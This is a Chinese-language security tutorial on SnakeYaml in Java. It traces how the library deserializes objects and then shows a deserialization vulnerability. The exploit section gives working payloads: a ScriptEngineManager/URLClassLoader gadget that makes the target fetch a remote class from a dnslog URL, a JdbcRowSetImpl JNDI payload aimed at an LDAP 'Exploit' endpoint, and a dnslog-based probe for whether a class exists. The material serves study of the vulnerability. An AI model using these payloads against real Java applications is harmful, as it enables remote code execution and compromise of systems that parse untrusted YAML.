0x00 SnakeYaml简介

SnakeYaml是Java用于解析Yaml(Yet Another Markup Language)格式数据的类库, 它提供了dump方法可以将一个Java对象转为Yaml格式字符串, 其load方法也能够将Yaml字符串转为Java对象。

0x01 序列化与反序列化

demo

  1. package com.yq1ng.ymal;
  2. /**
  3. * User
  4. *
  5. * @author yq1ng
  6. * @date 2022/2/18 20:56
  7. * @since 1.0.0
  8. */
  9. public class User {
  10. private String name;
  11. public User(){
  12. System.out.println("init...");
  13. }
  14. public String getName() {
  15. System.out.println("getName...");
  16. return name;
  17. }
  18. public void setName(String name) {
  19. System.out.println("setName...");
  20. this.name = name;
  21. }
  22. @Override
  23. public String toString() {
  24. System.out.println("toString...");
  25. return "User{" +
  26. "name='" + name + '\'' +
  27. '}';
  28. }
  29. }
  1. package com.yq1ng.ymal;
  2. import org.yaml.snakeyaml.Yaml;
  3. /**
  4. * testYmal
  5. *
  6. * @author yq1ng
  7. * @date 2022/2/18 20:56
  8. * @since 1.0.0
  9. */
  10. public class testYaml {
  11. public static void main(String[] args) {
  12. User user = new User();
  13. user.setName("yq1ng");
  14. Yaml yaml = new Yaml();
  15. String ser = yaml.dump(user);
  16. System.out.println(ser);
  17. System.out.println("==================================================");
  18. User u = yaml.load(ser);
  19. System.out.println(u.getName());
  20. }
  21. }

image.png
有点像fastjson,序列化生成的字符串中**!!**代表强制转换为后面的类型,!!com.yq1ng.ymal.User就是强转为User

反序列化过程

打上断点直接跟
image.png
image.png
前面两行是初始化不用管,constructor.setComposer(composer);将StreamReader读取的内容设置到了composer
image.png
这里 if 先判断 node 是否为空,node.tag 是否为空,然后判断根节点是否为空(根节点可以去看yml的格式,这里没用yml文件),接着跟进constructDocument(node),创建“文件”
image.png
image.png
这里先判断已经创建的对象里面是否存在当前反序列化的对象,有的话就直接retun,没有就跟进constructObjectNoCheck(node)
image.png
跟进constructor.construct(node)
image.png
image.png
image.png
先看怎么获取ClassName的
image.png
字符串需要是tag:yaml.org,2002:开头的,然后截取后面的。然后跟进cl = getClassForName(name);
image.png
这里就获得了需要反序列化的对象,然后继续往下
image.png
167行对反序列化对象进行了实例化,然后跟进constructJavaBean2ndStep(mnode, obj);
image.png
这里对反序列化对象设置值
image.png
反射设置值,进入setName()

反序列化漏洞

影响版本

SnakeYaml全版本

漏洞利用

假设load内容可控,这里以dnslog为例

  1. package com.yq1ng.ymal;
  2. import org.yaml.snakeyaml.Yaml;
  3. /**
  4. * vulYaml
  5. *
  6. * @author yq1ng
  7. * @date 2022/2/20 22:55
  8. * @since 1.0.0
  9. */
  10. public class vulYaml {
  11. public static void main(String[] args) {
  12. String ser = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://fpiuh1.dnslog.cn\"]]]]\n";
  13. new Yaml().load(ser);
  14. }
  15. }

image.png

更多利用

上面说有点像fastjson,看序列化后的数据和反序列化可以指定任意类就觉得更像了,所以yaml也可以用fastjson的所有payload,只需要稍作更改,比如JdbcRowSetImpl,String poc = "!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: \"ldap://localhost:1389/Exploit\"\n autoCommit: true";,更多gadget与不出网利用看 ref

判断类存在

String poc = "[!!判断的类全类名 []: 0, !!java.net.URL [null, \"http://ixvoxg.dnslog.cn\"]: 1]";

ref

SnakeYaml 之不出网RCE
Java SnakeYaml反序列化漏洞